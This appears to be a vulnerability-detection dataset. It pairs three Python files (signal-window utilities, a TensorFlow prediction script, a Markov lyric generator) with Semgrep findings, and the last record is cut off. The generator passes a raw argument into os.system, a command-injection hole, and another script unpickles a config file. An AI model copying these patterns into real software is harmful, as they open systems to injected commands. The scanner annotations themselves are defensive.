TIME_FORMAT = "%Y%m%dT%H%M%S.%f"
return date_time.strftime(TIME_FORMAT)
def datetimeToUnix(t):
return (t-datetime.datetime(1970,1,1)).total_seconds()
def parseMeasure(s):
val, unit = s.strip().split()
val = float(val)
if unit == "m" or unit == "rad":
return val
elif unit == "in":
return inchesToMeters(val)
elif unit == "deg":
return degreesToRadians(val)
else:
raise Exception("Unrecognized unit: %s." % unit)
def convertToStrings(data):
if isinstance(data, basestring):
return str(data)
elif isinstance(data, collections.Mapping):
return dict(map(convertToStrings, data.iteritems()))
elif isinstance(data, collections.Iterable):
return type(data)(map(convertToStrings, data))
else:
return data
def convertKwarg(val):
try:
return float(val) if "." in val else int(val)
except Exception as e:
if val in ["True", "False"]: return eval(val)
else: return val
def convertKwargs(kwargs):
converted = {}
for (key, val) in kwargs.items():
converted[key] = convertKwarg(val)
return converted
def parseArgs(args):
reg_args, kwargs = [], {}
for arg in args:
if "=" in arg:
key, val = arg.split("=", 1)
kwargs[key] = val
else:
reg_args.append(arg)
return reg_args, kwargs
# Offset functions.
def symmetricOffsets(n, win_size):
return [(min(n-1-v, v, win_size/2),)*2 for v in range(n)]
def leftRightOffsets(n, win_size):
return [(min(v,win_size/2), min(n-1-v,win_size/2)) for v in range(n)]
def leftRightDeltaOffsets(n, values, delta):
l = [max([i-j for j in range(i+1) if values[i]-values[j]<delta]) \
for i in range(n)]
r = [max([j-i for j in range(i,n) if values[j]-values[i]<delta]) \
for i in range(n)]
return zip(l, r)
# Application functions.
def maxDiff(array):
return max(array) - min(array)
# General windowed function.
def windowedFunction(apply_fun, offset_fun, array, args=None):
n = len(array)
return [apply_fun(array[i-a:i+b+1]) for (i,(a,b)) \
in zip(range(n), offset_fun(n, *args) if args else offset_fun(n))]
# Specific instances.
def symmetricWindowedAverage(array, win_size=5):
return windowedFunction(np.mean, symmetricOffsets, array,args=(win_size,))
def leftRightWindowedAverage(array, win_size=5):
return windowedFunction(np.mean, leftRightOffsets, array,args=(win_size,))
def symmetricWindowedMaxDiff(array, win_size=5):
return windowedFunction(maxDiff, symmetricOffsets, array,args=(win_size,))
def leftRightWindowedMaxDiff(array, win_size=5):
return windowedFunction(maxDiff, leftRightOffsets, array,args=(win_size,))
def symmetricWindowedMax(array, win_size=5):
return windowedFunction(max, symmetricOffsets, array, args=(win_size,))
def leftRightWindowedMax(array, win_size=5):
return windowedFunction(max, leftRightOffsets, array, args=(win_size,))
def timeWindowedAverage(array, times, delta):
return windowedFunction(np.mean, leftRightDeltaOffsets,\
array, args=(times,delta))
def timeWindowedMaxDiff(array, times, delta):
return windowedFunction(maxDiff, leftRightDeltaOffsets,\
array, args=(times,delta))
def timeWindowedMax(array, times, delta):
return windowedFunction(max, leftRightDeltaOffsets,\
array, args=(times,delta))
| 147 | 34.44 | 84 | 14 | 1,273 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_858a87d668c8a96e_24158a42", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 75, "line_end": 75, "column_start": 45, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/858a87d668c8a96e.py", "start": {"line": 75, "col": 45, "offset": 2699}, "end": {"line": 75, "col": 54, "offset": 2708}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
75
] | [
75
] | [
45
] | [
54
] | [
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | general_utils.py | /backend/python/utils/general_utils.py | fridgeresearch/kitchen | MIT | |
2024-11-18T18:47:03.297154+00:00 | 1,507,551,189,000 | 357ae40fd7e870c6462505d62c7120c1569d0a95 | 3 | {
"blob_id": "357ae40fd7e870c6462505d62c7120c1569d0a95",
"branch_name": "refs/heads/master",
"committer_date": 1507551189000,
"content_id": "5260179471f1fed19d39b1ff49d547d8911af870",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "8817539e2bb026efcf08101c79b7c1fb98adc8d9",
"extension": "py",
"filename": "predict.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 106276804,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3357,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/predict.py",
"provenance": "stack-edu-0054.json.gz:570444",
"repo_name": "sylimu/lstm_bigdata",
"revision_date": 1507551189000,
"revision_id": "ac621ef5bffe32f43393ed9da6f5eaa726ece782",
"snapshot_id": "38e666f721be93ab10c3172c1f96a653f24c624d",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/sylimu/lstm_bigdata/ac621ef5bffe32f43393ed9da6f5eaa726ece782/predict.py",
"visit_date": "2021-07-09T06:48:25.272814"
} | 2.9375 | stackv2 | # predict.py: Uses a previously trained TensorFlow model to make predictions on a test set
# Copyright 2016 Ramon Vinas
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import tensorflow as tf
from tsa.data_manager import DataManager
import pickle
tf.flags.DEFINE_string('checkpoints_dir', 'checkpoints/1507549331',
'Checkpoints directory (example: checkpoints/1479670630). Must contain (at least):\n'
'- config.pkl: Contains parameters used to train the model \n'
'- model.ckpt: Contains the weights of the model \n'
'- model.ckpt.meta: Contains the TensorFlow graph definition \n')
FLAGS = tf.flags.FLAGS
if FLAGS.checkpoints_dir is None:
raise ValueError('Please, a valid checkpoints directory is required (--checkpoints_dir <file name>)')
# Load configuration
with open('{}/config.pkl'.format(FLAGS.checkpoints_dir), 'rb') as f:
config = pickle.load(f)
# Load data
dm = DataManager(data_dir=config['data_dir'],
stopwords_file=config['stopwords_file'],
sequence_len=config['sequence_len'],
n_samples=config['n_samples'],
test_size=config['test_size'],
val_samples=config['batch_size'],
random_state=config['random_state'],
ensure_preprocessed=True)
# Import graph and evaluate the model using test data
original_text, x_test, y_test, test_seq_len = dm.get_test_data(original_text=True)
graph = tf.Graph()
with graph.as_default():
sess = tf.Session()
# Import graph and restore its weights
print('Restoring graph ...')
saver = tf.train.import_meta_graph("{}/model.ckpt.meta".format(FLAGS.checkpoints_dir))
saver.restore(sess, ("{}/model.ckpt".format(FLAGS.checkpoints_dir)))
# Recover input/output tensors
input = graph.get_operation_by_name('input').outputs[0]
target = graph.get_operation_by_name('target').outputs[0]
seq_len = graph.get_operation_by_name('lengths').outputs[0]
dropout_keep_prob = graph.get_operation_by_name('dropout_keep_prob').outputs[0]
predict = graph.get_operation_by_name('final_layer/softmax/predictions').outputs[0]
accuracy = graph.get_operation_by_name('accuracy/accuracy').outputs[0]
# Perform prediction
pred, acc = sess.run([predict, accuracy],
feed_dict={input: x_test,
target: y_test,
seq_len: test_seq_len,
dropout_keep_prob: 1})
# Print results
print('\nAccuracy: {0:.4f}\n'.format(acc))
'''
for i in range(100):
print('Sample: {0}'.format(original_text[i]))
print('Predicted sentiment: [{0:.4f}, {1:.4f}]'.format(pred[i, 0], pred[i, 1]))
print('Real sentiment: {0}\n'.format(y_test[i]))
''' | 77 | 42.61 | 108 | 11 | 755 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_0b7fad8d01220826_67f483ed", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 32, "column_start": 14, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/0b7fad8d01220826.py", "start": {"line": 32, "col": 14, "offset": 1443}, "end": {"line": 32, "col": 28, "offset": 1457}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
32
] | [
32
] | [
14
] | [
28
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | predict.py | /predict.py | sylimu/lstm_bigdata | Apache-2.0 | |
2024-11-18T18:47:03.932052+00:00 | 1,579,684,526,000 | e67b97d14885f91df5bb3b304f14139717602ac1 | 3 | {
"blob_id": "e67b97d14885f91df5bb3b304f14139717602ac1",
"branch_name": "refs/heads/master",
"committer_date": 1579684526000,
"content_id": "723384413f9dcf4f54585f637e7e16c98335e0ff",
"detected_licenses": [
"MIT"
],
"directory_id": "81db4df1f1a98ba6e24026a221421cba05e70ba4",
"extension": "py",
"filename": "generate.py",
"fork_events_count": 1,
"gha_created_at": 1556445358000,
"gha_event_created_at": 1688677877000,
"gha_language": "C",
"gha_license_id": "NOASSERTION",
"github_id": 183890150,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1737,
"license": "MIT",
"license_type": "permissive",
"path": "/module/Assistant/extension/Assistant_LiteratureGenerator_Ported/code/generate.py",
"provenance": "stack-edu-0054.json.gz:570452",
"repo_name": "Questandachievement7Developer/q7os",
"revision_date": 1579684526000,
"revision_id": "2976e1770b9e0aff759c04822659d1b4e453352b",
"snapshot_id": "8ad86727ec22b2e83b88deeb6a97efbf1c089c7a",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/Questandachievement7Developer/q7os/2976e1770b9e0aff759c04822659d1b4e453352b/module/Assistant/extension/Assistant_LiteratureGenerator_Ported/code/generate.py",
"visit_date": "2023-07-23T19:30:02.085810"
} | 2.796875 | stackv2 | #!/usr/bin/python3
import requests
import sys
import os
import hashlib
from pymarkovchain import MarkovChain
API_URI = "http://lyrics.wikia.com/api.php?action=lyrics&fmt=realjson"
if __name__ == '__main__':
if len(sys.argv) != 3:
raise "Usage: python3 py-simple-lyric-generator \"[Save Slot]\" [number_of_phrases_to_generate]"
save_slot = sys.argv[1]
number_of_phrases = sys.argv[2]
params = {
'artist': save_slot
}
# Generating a Markov Chain Model
db_name_hashed = "db/" + hashlib.md5(save_slot.lower().encode('utf-8')).hexdigest()
mc = MarkovChain(db_name_hashed)
# Checking if the database already exists, if so uses the cache instead another API call
if not os.path.isfile(db_name_hashed):
print("No data cached. Please be patient while we search the lyrics of %s." % save_slot)
# Adding lyrics to a single gigant string
lyrics = ''
# Parsing each lyric from this artist.
# [http://api.wikia.com/wiki/LyricWiki_API]
response = os.system('cat ' + save_slot + '.txt')
f = open('/Assistant/extension/Assistant_LiteratureGenerator_Ported/data/artists/' + save_slot + '/' + 'Literature' + '.txt', 'r')
response = f.readlines()
#print (response)
#lyrics += response.replace('[...]', '') + ' '
#lyrics = response
lyrics = ' '.join([line.strip() for line in response])
#lyrics = 'bulululululul'
# Generating the database
mc.generateDatabase(lyrics)
mc.dumpdb()
# Printing a string
os.system("echo a > /Assistant/extension/Assistant_LiteratureGenerator_Ported/final.txt")
for i in range(0, int(number_of_phrases)):
print(mc.generateString())
output=open("/Assistant/extension/Assistant_LiteratureGenerator_Ported/final.txt", "a+")
output.write(mc.generateString() + "\n")
| 51 | 33.06 | 132 | 15 | 489 | python | [{"finding_id": "semgrep_rules.python.lang.correctness.exceptions.raise-not-base-exception_86961ff9b91986e8_c89bc08f", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.exceptions.raise-not-base-exception", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "In Python3, a runtime `TypeError` will be thrown if you attempt to raise an object or class which does not inherit from `BaseException`", "remediation": "", "location": {"file_path": "unknown", "line_start": 13, "line_end": 13, "column_start": 3, "column_end": 99, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.exceptions.raise-not-base-exception", "path": "/tmp/tmpb8jm_z1l/86961ff9b91986e8.py", "start": {"line": 13, "col": 3, "offset": 236}, "end": {"line": 13, "col": 99, "offset": 332}, "extra": {"message": "In Python3, a runtime `TypeError` will be thrown if you attempt to raise an object or class which does not inherit from `BaseException`", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.insecure-hash-algorithm-md5_86961ff9b91986e8_552585dd", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.insecure-hash-algorithm-md5", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 27, "column_end": 73, "code_snippet": "requires login"}, "cwe_id": "CWE-327: Use of a Broken or Risky Cryptographic Algorithm", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html", "title": null}, {"url": "https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability", "title": null}, {"url": "http://2012.sharcs.org/slides/stevens.pdf", "title": null}, {"url": "https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.insecure-hash-algorithm-md5", "path": "/tmp/tmpb8jm_z1l/86961ff9b91986e8.py", "start": {"line": 22, "col": 27, "offset": 491}, "end": {"line": 22, "col": 73, "offset": 537}, "extra": {"message": "Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.", "metadata": {"source-rule-url": "https://github.com/PyCQA/bandit/blob/d5f8fa0d89d7b11442fc6ec80ca42953974354c8/bandit/blacklists/calls.py#L59", "cwe": ["CWE-327: Use of a Broken or Risky Cryptographic Algorithm"], "owasp": ["A03:2017 - Sensitive Data Exposure", "A02:2021 - Cryptographic Failures", "A04:2025 - Cryptographic Failures"], "bandit-code": "B303", "asvs": {"control_id": "6.2.2 Insecure Custom Algorithm", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x14-V6-Cryptography.md#v62-algorithms", "section": "V6 Stored Cryptography Verification Requirements", "version": "4"}, "references": ["https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html", "https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability", "http://2012.sharcs.org/slides/stevens.pdf", "https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html"], "category": "security", "technology": ["python"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_86961ff9b91986e8_fa097cdc", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 34, "column_start": 14, "column_end": 52, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/86961ff9b91986e8.py", "start": {"line": 34, "col": 14, "offset": 970}, "end": {"line": 34, "col": 52, "offset": 1008}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_86961ff9b91986e8_8c76a73c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 34, "column_start": 14, "column_end": 52, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/86961ff9b91986e8.py", "start": {"line": 34, "col": 14, "offset": 970}, "end": {"line": 34, "col": 52, "offset": 1008}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_86961ff9b91986e8_cb24f621", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 35, "line_end": 35, "column_start": 3, "column_end": 133, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmpb8jm_z1l/86961ff9b91986e8.py", "start": {"line": 35, "col": 3, "offset": 1011}, "end": {"line": 35, "col": 133, "offset": 1141}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_86961ff9b91986e8_ad716782", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 35, "line_end": 35, "column_start": 7, "column_end": 133, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/86961ff9b91986e8.py", "start": {"line": 35, "col": 7, "offset": 1015}, "end": {"line": 35, "col": 133, "offset": 1141}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_86961ff9b91986e8_5c171615", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 50, "line_end": 50, "column_start": 3, "column_end": 91, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmpb8jm_z1l/86961ff9b91986e8.py", "start": {"line": 50, "col": 3, "offset": 1605}, "end": {"line": 50, "col": 91, "offset": 1693}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_86961ff9b91986e8_1c4a4a96", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 50, "line_end": 50, "column_start": 10, "column_end": 91, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/86961ff9b91986e8.py", "start": {"line": 50, "col": 10, "offset": 1612}, "end": {"line": 50, "col": 91, "offset": 1693}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 8 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-tainted-env-args"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
34,
34
] | [
34,
34
] | [
14,
14
] | [
52,
52
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.",
"Found user-controll... | [
7.5,
7.5
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | generate.py | /module/Assistant/extension/Assistant_LiteratureGenerator_Ported/code/generate.py | Questandachievement7Developer/q7os | MIT | |
2024-11-18T18:47:04.046867+00:00 | 1,614,199,198,000 | cca4995d1a3ca202df47c456cd761c15f848bcdc | 3 | {
"blob_id": "cca4995d1a3ca202df47c456cd761c15f848bcdc",
"branch_name": "refs/heads/main",
"committer_date": 1614199198000,
"content_id": "73cc5a285aa68316d9d4a6ba8c014e5fde13cf20",
"detected_licenses": [
"MIT"
],
"directory_id": "4f525bd48e675f6446022e63daa63d53c1361526",
"extension": "py",
"filename": "prepare.py",
"fork_events_count": 1,
"gha_created_at": 1603956892000,
"gha_event_created_at": 1603959481000,
"gha_language": null,
"gha_license_id": null,
"github_id": 308251277,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3111,
"license": "MIT",
"license_type": "permissive",
"path": "/Torch/prepare.py",
"provenance": "stack-edu-0054.json.gz:570453",
"repo_name": "Fivefold/SRCNN",
"revision_date": 1614199198000,
